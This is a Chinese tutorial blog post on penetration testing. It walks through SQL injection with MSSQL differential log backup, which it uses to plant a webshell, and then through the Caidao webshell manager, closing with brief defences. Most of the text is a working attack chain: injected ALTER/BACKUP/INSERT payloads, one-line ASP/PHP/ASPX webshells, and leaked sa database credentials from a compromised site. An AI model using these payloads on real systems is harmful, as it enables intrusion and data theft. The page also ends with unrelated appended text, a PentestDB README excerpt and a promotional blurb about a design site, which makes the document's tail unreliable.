[渗透&攻防] 三.数据库之差异备份及Caidao利器

这是最近学习渗透和网站攻防的文章,前面文章从数据库原理解读了防止SQL注入、SQLMAP的基础用法。这篇文章主要讲解数据库知识之差异备份及强大的利器Caidao。希望能深入地学习这部分知识,自己作为一个初学者,在慢慢探索网络攻防和渗透。同时,希望文章对你有所帮助,尤其是学习网络安全的初学者,错误或不足之处还请海涵~

    一.数据库之差异备份
        1.差异备份
        2.手动上传
    二.Caidao基础用法
        1.文件管理
        2.数据库管理
        3.虚拟终端
    三.防御措施
        1.参数化查询
        2.基础防御措施
   
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法


推荐文章:
http://www.jianshu.com/p/f0797a485779
SQL参数化查询 - zyw_anquan

一. 数据库之差异备份

1.差异备份

数据备份主要分位完全备份、增量备份和差异备份。其中差异备份是指备份自上一次完全备份之后有变化的数据,在差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。

这里的整体流程是先备份日志,然后插入一句话Muma;再次备份时,数据库只会备份两次间隔中的差异,使得生成出来的文件尽可能小,故称为“差异备份”。

前面的文章获取了数据库的名称:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 -- 
 
输出结果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中MSSQL数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。
同时获取了登录名、密码等,这里不再介绍,下面详细介绍差异备份。

(1) 修改数据库设置为恢复模式
    http://xxxxx/show.asp?code=-1
    alter database ahykd_new set RECOVERY FULL --
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。

(2) 备份当前数据库日志到文件
    http://xxxxx/show.asp?code=-1
    backup log ahykd_new to disk='C:\windows\temp\temp0720' with init --
备份数据库日志到服务器上,其中路径表示服务器的。
重点:路径不能太显眼,比如"C:\0720"这样。

(3) 建立一张表和一个字段
    http://xxxxx/show.asp?code=-1
    create table tt(a text)--

(4) 往表中插入一句话Muma
    http://xxxxx/show.asp?code=-1
    insert into tt(a) values('<%eval request("Shsh") %>') --
一句话Muma插入到数据库tt表的a字段中,执行接收自定义Shsh参数,类似于URL的Code参数,相当于是一个侧门,第二部分Caidao会使用到。

asp:
   <%execute(request("value"))%>
php:
   <?php @eval($_POST[value]);?>
aspx:
   <%eval(Request.Item["value"])%>
(5) 再次备份日志
    http://xxxxx/show.asp?code=-1
    backup log ahykd_new to disk='e:\NewsReport\index0.asp' --
再次备份日志,备份路径为网站服务器路径,重点是如何获得这个路径呢?在网站注入时,报错提示通常会呈现相关文件路径。


(6) 删除表
    http://xxxxx/show.asp?code=-1
    drop table tt --

此时,数据库差异备份的漏洞已经弄好,后面介绍Caidao利器。


2.手动上传
前面得到数据库登录的用户名和密码后,就可以手动登录,然后找到上传文件地方。
index0.asp文件代码为:<%eval request("Shsh") %>
然后利用Caidao利器可以进行拿站,问题是如何防御这些漏洞,请看第三部分内容。



二. Caidao基础用法

1.登录Caidao

首先关闭安全软件及实时防护,如下图所示。


Caidao软件据说是一个桂林退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各种语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,后面希望自己也能深入研究攻防底层内容,打开Caidao如下图所示。


右键空白处,点击“添加”,在弹出界面填写相关内容。


重点:Caidao的用户名为上传的文件,即index_0.asp,注意路径;密码为一句话Muma中插入的参数Shsh,对应前文<%eval request("Shsh") %>,选择ASP网站类型,点击“添加按钮”。

如果漏洞被修复,Caidao也会有相应的提示,如下提示服务器错误。



下面介绍它强大的三个功能文件管理、数据库管理和虚拟终端,右键URL如下。



PS:由于前面网站的漏洞已经修复了,网站攻防重点是从漏洞中找到防御措施,但它也打乱了我前后文的关联,但也是我Web防御的初衷。下面有两张图片引用文章 Chopper详细剖析,推荐大家阅读,图侵立删。

2.文件管理

网站文件管理,显示服务器Webshell,远程访问服务显示wwwroot如下图所示。包括了常见的上传、下载、编辑、删除、复制重命名及改变文件时间戳等。


前面的差异备份,我们通过SQL语句在服务器E盘上传了一个index0.asp文件。
backup log ahykd_new to disk='e:\NewsReport\index0.asp
可以在文件管理找到该文件,并下载到本地(因原网已修复,写文前未截图),可以通过Notepad++打开,虽然乱码很多,但可以搜索看到 <%eval request("Shsh") %> 这句代码。
同时,备份服务器该账户没有写入权限,只能查看网站的内容及代码等。


3.数据库管理

Caidao支持各种数据库,包括MYSQL、MSSQL、ORCALE、ACCESS等,数据库管理主要是内置的管理数据库模块,能够实现数据库的查询语句、显示表名、列名。

前提:需要知道数据库的配置信息,可以从两个方面获得。
(1) 前面两篇文章通过SQL语句已经查到了数据库配置信息,即:
     数据库 用户 密码
     回顾:第一篇 手工SQL注入方法

http://xxxxx/show.asp?code=-1' union all 
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
输出结果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。
    回顾:第二篇 SQLMAP方法
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
    python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

    运行结果如下图所示,获取数据库用户和密码。


(2) 文件管理中可以找到config配置文件,E盘index0.asp中即有,下载如下。
<add key="ConnectionString" 
     value="Data Source=(local);DataBase=ahykd_new;User Id=sa;Password=xbs660818"/>
即:数据库ahykd_new,用户名sa,密码xbs660818。

Caidao中右键“数据库管理”,在弹出的界面设置数据库信息,点击“提交”。


显示数据库如下所示:


同时可以在顶端下拉菜单自定义SQL语句,点击“执行”获取所需信息。

4.虚拟终端

虚拟终端是模拟Windows下的CMD命令窗口,如果服务器是Linux就是shell窗口。如下图所示,常见命令:
    (1) whoami 查看当前用户的权限;
    (2) net user 查看当前计算机上的用户;
    (3) net localgroup administrators 查看当前计算机上管理员的用户;
    (4) ipconfig 查看计算机的网卡ip等信息,详细信息在后面加个 /all 查看;
    (5) dir 查看当前目录的文件,后加个路径可查看目标文件夹的文件 dir c: \;


更多的用法需要读者进一步取研究学习,包括原理知识。同时,难点是如何取找到漏洞、防御漏洞,SQL注入现在已经有很多好的防御措施了,第三部分接着介绍。



三. 防御措施

1.参数化查询

推荐阅读《SQL注入攻击与防御 第2版》作者:Justin Clarke。
PS:这部分参考网上,你可能也返现了这些列文字主要是攻击,防御是让它变白,后面几个月深入研究后会结合实际详细讲解,但还是推荐上面那本书。

参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值,这个方法目前已被视为最有效可预防SQL注入攻击 (SQL Injection) 的攻击手法的防御方式。

有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

下面一段引用大神 何静媛 的博客,强推大家阅读她的博客。 
参数化查询就是我们写好需要的参数,然后直接给参数赋值,这就好比是一个sql的框架。sql查询的时候会进行参数分析,如果分析的结果是我们曾使用过这样的框架,那么sql会重用查询计划,否则会重新生成一个查询计划,当然此时的sql的语义肯定是发生了变化,这时我们就可以很好的防止注入的发生。例如:


如上的代码就是使用参数化的查询语句,尝试输入注入字符无结果。

在撰写 SQL 指令时,利用参数来代表需要填入的数值,例如:
    (1) Microsoft SQL Server
         Microsoft SQL Server 的参数格式是以 "@" 字符加上参数名称而成,SQL Server 亦支持匿名参数 "?"。

SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)
    (2) MySQL
         MySQL的参数格式是以 "?" 字符加上参数名称而成。

UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4
    (3) Oracle
         Oracle 的参数格式是以 ":" 字符加上参数名称而成。

UPDATE myTable SET c1 = :c1, c2 = :c2, c3 = :c3 WHERE c4 = :c4
    (4) PostgreSQL
         PostgreSQL 的参数格式是以 "$" 字符加上参数顺序号而成。

UPDATE myTable SET c1 = $1, c2 = $2, c3 = $3 WHERE c4 = $4


2.基础防御措施

参考前文,个人理解的防御措施:

    1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。


希望文章对你有所帮助,尤其是网络安全的程序员,因为系列文章是和前文息息相关的,所以看着有些凌乱。如果文章存在错误或不足之处,还请海涵。感谢娜师傅的一路陪伴,来娜娜家玩深夜都还在写文,我也是很醉啊!
不忘初心,继续前行。加油,秀璋。绿妖,晚安!
(By:Eastmount 2017-07-23 凌晨1点  http://blog.csdn.net/eastmount/ )


  • 13
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论
PentestDB 1 介绍 本项目用于提供渗透测试的辅助工具、资源文件 1.1 辅助工具 提供轻量级的易扩展的工具,可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等;包含以下功能: Exploit系统。易扩展的exploit系统,能够使用API快速编写exploit,能够批量执行exploit 子域名爆破。爆破子域名,使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描,支持生成html格式输出文件 服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件,整站备份、配置备份、敏感文件等 社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking,生成URL字典 编解码等功能。支持非常丰富的编解码方式,方便做payload编码 1.2 资源文件 各种渗透测试常用的资源文件,包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 从这里下载最新版本,或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地 PentestDB支持Windows/Linux/MacOS,需使用python 2.6.x 或 2.7.x运行 2.1 解决lxml依赖 项目中的脚本文件依赖于lxml linux系统一般默认安装lxml,如果没有可通过以下方式安装: pip install lxml apt-get install lxml yum install lxml windows可通过以下方式安装lxml: 到这里找到对应系统的安装包,下载到本地 安装安装包,pip install package.whl 2.2 解决nmap依赖 项目中的C段扫描依赖于nmap扫描器 到这里下载nmap相应版本 在windows下需要设置环境变量,让系统能够找到nmap.exe。 3 使用 3.1 常用脚本 项目中的python脚本提供用有用的渗透辅助功能,根目录下的pen.py为脚本入口,另外script目录下也有其他一些脚本。 3.1.1 Exploit系统 pen.py的exploit子命令提供了exploit模块相关操作,exploit模块是一个轻量级的exploit框架,可以编写各种web漏洞的exploit: 搜索exploit信息 增加、删除、修改exploit信息 执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下 例如: # 列举、搜索、注册、更新、删除 pen.py exploit -l pen.py exploit -q appName:joomla pen.py exploit --register exploit pen.py exploit --update cms_joomla_3_4_session_object_injection.py pen.py exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pen.py exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pen.py exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pen.py exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pen.py exploit -s appName:joomla -u @url.txt 注:有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pen.py的service子命令提供了服务端应用识别的功能,能够识别服务器信息,包括: 操作系统 web服务器 web中间件 CMS等 例如: pen.py service http://xxx.com # 开启CMS识别加强模式 pen.py service http://xxx.com --cms 3.1.3 社工密码字典生成 pen.py的password子命令提供了根据社工信息生成密码字典的功能,能够设置不同关键字生成密码字典
作为一个专业的设计创意网站,Caidao设计网向来备受业内人士和用户的好评。首先,它提供了丰富多样的设计类别,包括品牌设计、网站设计、平面设计、包装设计和视频设计等,并且每个设计类别下还有不同的设计主题和模板供用户选择,且都是经过严格筛选的,确保设计质量高、有创意。此外,Caidao设计网拥有众多的优秀设计师和创意人才,他们都是经过严格招募和培训的,拥有多年的设计和创意经验,为用户提供高品质的服务和创意。 其次,Caidao设计网还提供了多种设计服务,包括logo设计、VI设计、UI设计、卡通设计等,满足各种不同用户的需求。在这里,用户可以选择不同的设计师或团队进行设计,也可以自己发布设计需求,等待优秀的设计师接受。Caidao设计网的设计师们还会进行多次修改,直到用户满意为止,确保最终的设计符合用户的需求和企业的形象。 最后,在服务质量和用户体验方面,Caidao设计网一直秉承着专业、高效、优质的服务理念,不断优化服务流程和用户体验,提供高效、便捷、安全、贴心的服务。从用户发布需求到最后确认完成,都有专业的客服人员进行跟踪和协助,确保用户体验良好。 总之,Caidao设计网以优质的设计和服务赢得了用户的信赖和赞誉,成为了国内一流的设计创意平台之一。无论是企业招标、个人创作,或是小型团队、大型企业、甚至国际机构,都可以在这里找到自己满意的设计师和作品。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eastmount

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值